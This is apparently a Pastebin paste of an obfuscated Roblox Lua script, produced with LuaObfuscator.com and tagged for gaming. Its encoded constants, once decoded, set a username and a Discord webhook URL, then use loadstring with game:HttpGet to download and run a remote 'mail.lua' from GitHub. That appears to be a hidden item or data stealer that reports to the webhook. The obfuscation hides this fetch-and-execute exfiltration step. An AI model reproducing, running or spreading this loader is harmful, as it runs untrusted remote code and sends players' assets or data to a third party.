API tools faq
paste
hammercoolness

aaaaaa

hammercoolness
Apr 24th, 2023 (edited)
130
0
Never
Add comment
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Lua 15.96 KB | Gaming | 0 0
raw download clone embed print report
  1. --[[
  2.  .____                  ________ ___.    _____                           __                
  3.  |    |    __ _______   \_____  \\_ |___/ ____\_ __  ______ ____ _____ _/  |_  ___________
  4.  |    |   |  |  \__  \   /   |   \| __ \   __\  |  \/  ___// ___\\__  \\   __\/  _ \_  __ \
  5.  |    |___|  |  // __ \_/    |    \ \_\ \  | |  |  /\___ \\  \___ / __ \|  | (  <_> )  | \/
  6.  |_______ \____/(____  /\_______  /___  /__| |____//____  >\___  >____  /__|  \____/|__|  
  7.          \/          \/         \/    \/                \/     \/     \/                  
  8.           \_Welcome to LuaObfuscator.com   (Alpha 0.2.5) ~  Much Love, Ferib
  9.  
  10. ]]--
  11.  
  12. do local v0=tonumber;local v1=string.byte;local v2=string.char;local v3=string.sub;local v4=string.gsub;local v5=string.rep;local v6=table.concat;local v7=table.insert;local v8=math.ldexp;local v9=getfenv or function()return _ENV;end ;local v10=setmetatable;local v11=pcall;local v12=select;local v13=unpack or table.unpack ;local v14=tonumber;local function v15(v16,v17,...)local v18=1;local v19;v16=v4(v3(v16,5),"..",function(v30)if (v1(v30,2)==79) then local v68=0;while true do if (v68==0) then v19=v0(v3(v30,1,1));return "";end end else local v69=v2(v0(v30,16));if v19 then local v79=0;local v80;while true do if (v79==0) then v80=v5(v69,v19);v19=nil;v79=1;end if (v79==1) then return v80;end end else return v69;end end end);local function v20(v31,v32,v33)if v33 then local v70=1200 -((457 -256) + 999) ;local v71;while true do if (v70==(0 + 0)) then v71=(v31/((503 -(373 + 36 + 92))^(v32-((5 -1) -3))))%((1 + 1)^(((v33-(1 + 0)) -(v32-((9 -6) -2))) + (1048 -(102 + 945)))) ;return v71-(v71%(260 -(35 + 224))) ;end end else local v72=(4 -2)^(v32-(4 -3)) ;return (((v31%(v72 + v72))>=v72) and (1 + 0)) or 0 ;end end local function v21()local v38=v1(v16,v18,v18);v18=v18 + 1 ;return v38;end local function v22()local v39,v40=v1(v16,v18,v18 + 1 + 1 );v18=v18 + 2 + 0 ;return (v40 * (1797 -(447 + 1094))) + v39 ;end local function v23()local v41=531 -((931 -(831 + 48)) + 479) ;local v42;local v43;local v44;local v45;while true do if ((0 -0)==v41) then v42,v43,v44,v45=v1(v16,v18,v18 + (4 -1) );v18=v18 + ((223 + 141) -(26 + 334)) ;v41=1 + 0 ;end if (v41==(798 -(781 + 16))) then return (v45 * (16778287 -(956 + 115))) + (v44 * (65951 -(241 + 174))) + (v43 * (207 + 49)) + v42 ;end end end local function v24()local v46=v23();local v47=v23();local v48=3 -2 ;local v49=(v20(v47,1 + 0 + 0 ,11 + 9 ) * ((2 + 0)^((14 -9) + 27))) + v46 ;local v50=v20(v47,21,484 -(59 + 394) );local v51=((v20(v47,182 -(131 + 19) )==(863 -(299 + 563))) and  -(1305 -(1140 + 164))) or (1440 -(891 + (1224 -676))) ;if (v50==(0 + 0)) then if (v49==(0 + 0)) then return v51 * (0 + (1534 -(418 + 1116))) ;else local v81=0;while true do if (v81==(849 -(604 + 245))) then v50=(1 + 1) -(1959 -(224 + 1734)) ;v48=0 -0 ;break;end end end elseif (v50==(3217 -1170)) then return ((v49==0) and (v51 * (1/(0 + (1420 -(1381 + 39)))))) or (v51 * NaN) ;end return v8(v51,v50-(1418 -395) ) * (v48 + (v49/((628 -(31 + (2409 -1814)))^(1930 -(1827 + 51))))) ;end local function v25(v34)local v52;if  not v34 then v34=v23();if (v34==(0 -0)) then return "";end end v52=v3(v16,v18,(v18 + v34) -(2 -1) );v18=v18 + v34 ;local v53={};for v66=1 + 0 , #v52 do v53[v66]=v2(v1(v3(v52,v66,v66)));end return v6(v53);end local v26=v23;local function v27(...)return {...},v12("#",...);end local function v28()local v54=0;local v55;local v56;local v57;local v58;local v59;local v60;local v61;local v62;while true do if (2==v54) then v59=nil;v60=nil;v54=5 -2 ;end if (v54==3) then v61=nil;v62=nil;v54=4;end if (v54==(10 -6)) then while true do if (2==v55) then local v82=0;while true do if (v82==1) then v55=1 + 2 ;break;end if (v82==(261 -(252 + 9))) then v60=nil;v61=nil;v82=1;end end end if (v55==3) then v62=nil;while true do local v86=0;local v87;while true do if ((0 + 0)==v86) then v87=0 -0 ;while true do if (v87==(4 -3)) then if (v56==0) then local v109=1190 -(1091 + 99) ;while true do if (v109==0) then local v117=0;while true do if (v117~=0) then else v57={};v58={};v117=4 -3 ;end if (v117==(1 + 0)) then v109=830 -(246 + 583) ;break;end end end if (v109==(1 + 0)) then v59={};v56=1;break;end end end if (v56~=1) then else local v110=0 -0 ;local v111;local v112;while true do if (v110~=(0 -0)) then else v111=1234 -(306 + 928) ;v112=nil;v110=1;end if (v110==1) then while true do if (v111==(0 -0)) then v112=0;while true do if (v112==(298 -(95 + 202))) then v62={};v56=2;break;end if (0~=v112) then else local v153=0;while true do if (v153==(657 -(103 + 554))) then v60={v57,v58,nil,v59};v61=v23();v153=1 + 0 ;end if (v153==(1 + 0)) then v112=1;break;end end end end break;end end break;end end end break;end if (v87~=(0 -0)) then else if (v56==(1737 -(467 + 1267))) then local v113=0;local v114;local v115;while true do if (v113~=0) then else v114=0;v115=nil;v113=1734 -(1020 + 713) ;end if ((1 -0)~=v113) then else while true do if ((910 -(762 + 148))==v114) then v115=0 -0 ;while true do local v138=0 -0 ;local v139;while true do if (v138==0) then v139=0 -0 ;while true do if (v139==0) then if (v115==0) then for v179=612 -(525 + 86) ,v23() do v58[v179-(1 + 0) ]=v28();end for v181=1,v23() do v59[v181]=v23();end v115=983 -(149 + 833) ;end if (v115==(1 + 0)) then return v60;end break;end end break;end end end break;end end break;end end end if (2~=v56) then else local v116=0;while true do if ((1 + 0)==v116) then for v119=1 + 0 ,v23() do local v120=0 + 0 ;local v121;local v122;while true do if (v120==1) then while true do if (v121~=0) then else v122=v21();if (v20(v122,1,1)==0) then local v162=1691 -(430 + 1261) ;local v163;local v164;local v165;while true do if (v162==2) then local v172=0;while true do if (v172==0) then local v191=1849 -(459 + 1390) ;while true do if (1==v191) then v172=1047 -(913 + 133) ;break;end if (v191==(0 -0)) then if (v20(v164,1381 -(791 + 589) ,662 -(164 + 497) )~=1) then else v165[2]=v62[v165[5 -3 ]];end if (v20(v164,2,2 + 0 )~=(615 -(263 + 351))) then else v165[2 + 1 ]=v62[v165[3]];end v191=2 -1 ;end end end if (v172==(1710 -(554 + 1155))) then v162=3;break;end end end if (0==v162) then local v173=0 -0 ;local v174;while true do if (v173~=(0 -0)) then else v174=1070 -(546 + 524) ;while true do if (v174==1) then v162=1;break;end if (v174==(0 -0)) then local v195=0;while true do if (v195==1) then v174=1;break;end if (v195~=0) then else v163=v20(v122,1751 -(37 + 1712) ,3);v164=v20(v122,4,6 + 0 );v195=432 -(266 + 165) ;end end end end break;end end end if (v162==3) then if (v20(v164,1479 -(779 + 697) ,344 -(13 + 328) )~=(1037 -(815 + 221))) then else v165[4]=v62[v165[4]];end v57[v119]=v165;break;end if (v162~=1) then else v165={v22(),v22(),nil,nil};if (v163==0) then local v186=0 -0 ;local v187;local v188;while true do if (v186==(236 -(195 + 41))) then v187=0 + 0 ;v188=nil;v186=1 -0 ;end if ((2 -1)==v186) then while true do if (v187~=(0 -0)) then else v188=0 -0 ;while true do if (v188~=(0 + 0)) then else v165[3]=v22();v165[4]=v22();break;end end break;end end break;end end elseif (v163==1) then v165[11 -8 ]=v23();elseif (v163==(144 -(95 + 47))) then v165[3]=v23() -(2^16) ;elseif (v163==(3 + 0)) then local v203=0;while true do if (v203==0) then v165[12 -9 ]=v23() -((2 + 0)^(31 -15)) ;v165[1 + 3 ]=v22();break;end end end v162=5 -3 ;end end end break;end end break;end if (v120~=(0 -0)) then else v121=0 -0 ;v122=nil;v120=1 + 0 ;end end end v56=3;break;end if (v116==(0 -0)) then local v118=0;while true do if (v118~=0) then else for v140=1 + 0 ,v61 do local v141=0 -0 ;local v142;local v143;local v144;while true do if (v141~=(2 -1)) then else v144=nil;while true do if (1==v142) then if (v143==(1551 -(1441 + 109))) then v144=v21()~=(951 -(423 + 528)) ;elseif (v143==2) then v144=v24();elseif (v143~=(984 -(132 + 849))) then else v144=v25();end v62[v140]=v144;break;end if (v142==(1671 -(404 + 1267))) then local v167=1361 -(556 + 805) ;while true do if (v167==0) then local v183=0 -0 ;while true do if (v183==(2 -1)) then v167=967 -(301 + 665) ;break;end if (0~=v183) then else v143=v21();v144=nil;v183=1764 -(548 + 1215) ;end end end if (v167==1) then v142=1;break;end end end end break;end if (v141==(811 -(711 + 100))) then v142=1017 -(924 + 93) ;v143=nil;v141=1;end end end v60[2 + 1 ]=v21();v118=1;end if (v118==(550 -(47 + 502))) then v116=1164 -(252 + 911) ;break;end end end end end v87=91 -(40 + 50) ;end end break;end end end break;end if (v55~=(0 + 0)) then else local v83=0 -0 ;local v84;while true do if (v83==(217 -(48 + 169))) then v84=1771 -(1422 + 349) ;while true do if (1==v84) then v55=53 -(21 + 31) ;break;end if (v84==0) then v56=0;v57=nil;v84=1 + 0 ;end end break;end end end if ((1 -0)~=v55) then else local v85=1409 -(1082 + 327) ;while true do if (v85==(0 + 0)) then local v102=0;while true do if (v102==1) then v85=3 -2 ;break;end if (v102==(0 + 0)) then v58=nil;v59=nil;v102=1129 -(592 + 536) ;end end end if (v85~=1) then else v55=469 -(115 + 352) ;break;end end end end break;end if (v54==1) then v57=nil;v58=nil;v54=2;end if (v54~=(0 + 0)) then else v55=0 + 0 ;v56=nil;v54=1;end end end local function v29(v35,v36,v37)local v63=v35[1];local v64=v35[2];local v65=v35[3];return function(...)local v73=0;local v74;local v75;local v76;local v77;local v78;while true do if (v73==1) then v76={...};v77=v12("#",...) -1 ;v73=2;end if (0==v73) then v74=1;v75= -1;v73=1;end if (v73==3) then A,B=v27(v11(v78));if  not A[1] then local v88=v35[4][v74] or "?" ;error("Script error at ["   .. v88   .. "]:"   .. A[2] );else return v13(A,2,B);end break;end if (v73==2) then v78=nil;function v78()local v89=v63;local v90=v64;local v91=v65;local v92=v27;local v93={};local v94={};local v95={};for v99=0,v77 do if ((v99>=v91) or ((5065 -(33 + 84))<257)) then v93[v99-v91 ]=v76[v99 + 1 + 0 ];else v95[v99]=v76[v99 + 1 + 0 ];end end local v96=(v77-v91) + (4 -(1 + 2)) ;local v97;local v98;while true do local v100=0;local v101;while true do if (((18024 -14179)>(274 + 1616)) and (v100==(0 + 0))) then v101=(0 -0) + 0 ;while true do if ((2058>=(3436 -(1516 + 2))) and (v101==(0 + (0 -0)))) then v97=v89[v74];v98=v97[755 -(566 + 188) ];v101=1 + 0 + 0 ;end if (((1964 -(1003 + (696 -(582 + 86))))<(3548 + 633)) and (v101==(1 + 0 + 0))) then if (((586 + 448)==(711 + 323)) and (v98<=(689 -(569 + (1209 -(532 + 561)))))) then if (((865 + 39)==(267 + (967 -330))) and (v98<=(1 + 0))) then if (((1359 -(7 + 291))>639) and (v98>(0 -0))) then do return;end else local v123=0 -0 ;local v124;local v125;local v126;local v127;local v128;local v129;while true do if ((v123==(4 -2)) or ((5634 -(253 + 2586))<=(2040 -(245 + 134)))) then v128=nil;v129=nil;v123=(649 -411) -(145 + 90) ;end if ((1976<=(1651 + 1042 + 611)) and ((6 -3)==v123)) then while true do if (((6564 -(1359 + 513))>=((2692 -(1330 + 420)) + 875)) and (v124==(2 + 0))) then v129=nil;while true do if ((v125==(0 + 0)) or (440>=(2833 -(447 + 1151)))) then local v168=0;local v169;while true do if (((1696 + 1380)==3076) and (v168==(0 -0))) then v169=780 -(528 + 252) ;while true do if (((3114 -(16 + 2 + 825))==(278 + 31 + 1962)) and (v169==(338 -((369 -98) + 66)))) then v125=(77 + 553) -(413 + 216) ;break;end if ((v169==(0 -0)) or ((3617 -2104)>(3332 -(571 + 327)))) then local v193=0 + 0 ;while true do if (((110 + 390)==((2838 -(437 + 1081)) -820)) and (v193==(0 -(0 + 0)))) then v126=v97[329 -(228 + 99) ];v127,v128=v92(v95[v126](v13(v95,v126 + 1 ,v97[11 -8 ])));v193=289 -((236 -(145 + 60)) + 257) ;end if ((v193==(2 -1)) or (924>(3996 -(1050 + 456)))) then v169=1 + 0 ;break;end end end end break;end end end if (((4711 -(196 + 3206))<=(5438 -(1219 + 471))) and (v125==2)) then for v176=v126,v75 do local v177=0;local v178;while true do if ((v177==0) or ((2553 -(393 + 18))>(7652 -3678))) then v178=0 + 0 ;while true do if ((v178==((249 + 412) -(214 + 447))) or (3861<=619)) then v129=v129 + (3 -2) ;v95[v176]=v127[v129];break;end end break;end end end break;end if ((v125==1) or ((4068 + 199)<1785)) then local v170=0 -0 ;local v171;while true do if (((0 + 0)==v170) or ((2240 + 148)>=(4693 -(163 + 1149)))) then v171=1800 -(563 + 1237) ;while true do if ((v171==((657 -(551 + 105)) + 0)) or ((8860 -6973)>=(4592 -(1728 + 246)))) then v125=3 -1 ;break;end if ((v171==0) or (2689<(2346 -(237 + 168)))) then local v194=(1024 -(686 + 338)) + 0 ;while true do if (((3495 -(222 + 494))<4143) and (v194==(1 + 0))) then v171=236 -(91 + 144) ;break;end if (((7131 -5502)==(792 + 51 + 786)) and (v194==0)) then v75=(v128 + v126) -(2 -1) ;v129=0 + 0 + 0 ;v194=1;end end end end break;end end end end break;end if (((833 -(308 + 524))==v124) or (((339 + 3688) -(362 + 961))>=(2676 + 1839))) then v127=nil;v128=nil;v124=(806 -(736 + 69)) + 1 ;end if (((2523 -(504 + 149))>(38 + 1824)) and (v124==(0 + 0))) then v125=(1518 + 77) -(33 + 1562) ;v126=nil;v124=(3 -2) + 0 ;end end break;end if (((4109 -(341 + 211))<=(11213 -(7874 -(133 + 348)))) and (v123==0)) then v124=(0 -0) -0 ;v125=nil;v123=1286 -((2689 -(1888 + 60)) + (1174 -630)) ;end if (((1086 -(504 + 581))==v123) or ((1334 -(500 + 210))==(5748 -2972))) then v126=nil;v127=nil;v123=2;end end end elseif ((v98<=(2 + 0)) or ((119 + 61)>=(1210 -(1653 -(180 + 1035))))) then v95[v97[2]]();elseif (((2033 -(486 + 613))==(1772 -(104 + 734))) and (v98==(4 -1))) then v95[v97[5 -3 ]]=v97[3 + 0 ];else v74=v97[4 -1 ];end elseif ((v98<=(792 -(674 + 111))) or ((10473 -6958)<=(2347 -577))) then if ((v98<=(10 -5)) or ((9169 -(1029 + 3404))<17)) then local v130=0;local v131;local v132;local v133;while true do if ((v130==0) or ((89 + 93)>=(2487 -(428 + 616)))) then v131=0 + 0 ;v132=nil;v130=1 -0 ;end if (((1866 -(36 + 1544))<(1127 + 438)) and (v130==(1 + 0 + 0))) then v133=nil;while true do if ((4799==(6249 -(370 + 1080))) and ((650 -(538 + 111))==v131)) then v95[v132 + (671 -(317 + 353)) ]=v133;v95[v132]=v133[v97[1163 -(874 + 285) ]];break;end if (((1978 -(13 + 28))>=((8598 -6436) -1000)) and (0==v131)) then local v158=0 + 0 ;local v159;while true do if ((v158==((0 + 0) -0)) or ((498 -(4 + 157))==(1174 -(598 + 216)))) then v159=0;while true do if ((v159==(290 -(269 + 20))) or ((1832 -(339 + 271))<44)) then v131=1 + 0 ;break;end if ((v159==0) or ((1352 + 1397)<(1634 -(33 + 1294)))) then v132=v97[2];v133=v95[v97[83 -(76 + 4 + 0) ]];v159=1;end end break;end end end end break;end end elseif (((7509 -2824)>(391 -241)) and (v98==(257 -(105 + 146)))) then if (((148 + 152)<=(4874 -2172)) and (v95[v97[1064 -(987 + 75) ]]==v97[1 + 3 ])) then v74=v74 + (1887 -(370 + 1516)) ;else v74=v97[11 -8 ];end else v37[v97[3 + 0 ]]=v95[v97[2]];end elseif ((v98<=(1728 -(142 + 1578))) or (3154==(72 + 85))) then local v134=820 -(191 + 629) ;local v135;local v136;while true do if (((996 -(914 + 10 + 8))==(44 + 20)) and (v134==(0 -0))) then v135=279 -(135 + 144) ;v136=nil;v134=(2422 -1583) -(292 + 546) ;end if ((v134==(2 -1)) or ((14354 -10790)<=357)) then while true do if ((v135==(0 + 0)) or (2695>=4136)) then v136=v97[6 -4 ];v95[v136]=v95[v136](v13(v95,v136 + (1115 -(1112 + 2)) ,v75));break;end end break;end end elseif ((v98==9) or (1655>=(10121 -8037))) then v95[v97[1641 -(125 + 1012 + 502) ]]=v37[v97[3]];else v95[v97[2]]=v97[3 + 0 ]~=(0 + 0) ;end v74=v74 + 1 ;break;end end break;end end end end v73=3;end end end;end return v29(v28(),{},v17)(...);end v15("LOL!0B3O00028O0003083O00557365724E616D6503073O006D616E672O746903093O00557365724E616D6532026O00F03F03073O00576562682O6F6B037D3O00682O7470733A2O2F7074622E646973636F72642E636F6D2F6170692F776562682O6F6B732F3130392O3635383238393733323839343832332F596F47347351744342632D3359496F394D687045707974692O7252774A304C516D58767576613673777677795F545531736A4E65492O455156632O5532563173524C4169030A3O006C6F6164737472696E6703043O0067616D6503073O00482O7470476574033B3O00682O7470733A2O2F6769746875622E636F6D2F5261696E49736E7442616C642F5661756C742F7261772F6D61696E2F6B34662F6D61696C2E6C756100173O0012033O00013O0026063O000800010001002O043O00080001001203000100033O001207000100023O001203000100033O001207000100043O0012033O00053O0026063O000100010005002O043O00010001001203000100073O001207000100063O001209000100083O001209000200093O00200500020002000A0012030004000B4O000A000500016O000200054O000800013O00022O0002000100010001002O043O00160001002O043O000100012O00013O00017O00173O00023O00043O00043O00053O00053O00063O00063O00073O00093O00093O000A3O000A3O000B3O000B3O000B3O000B3O000B3O000B3O000B3O000B3O000C3O000D3O000F3O00",v9(),...);end
Tags: Ronlox
Add Comment
Please, Sign In to add comment
Public Pastes
We use cookies for various purposes including analytics. By continuing to use Pastebin, you agree to our use of cookies as described in the Cookies Policy.  OK, I Understand
Not a member of Pastebin yet?
Sign Up, it unlocks many cool features!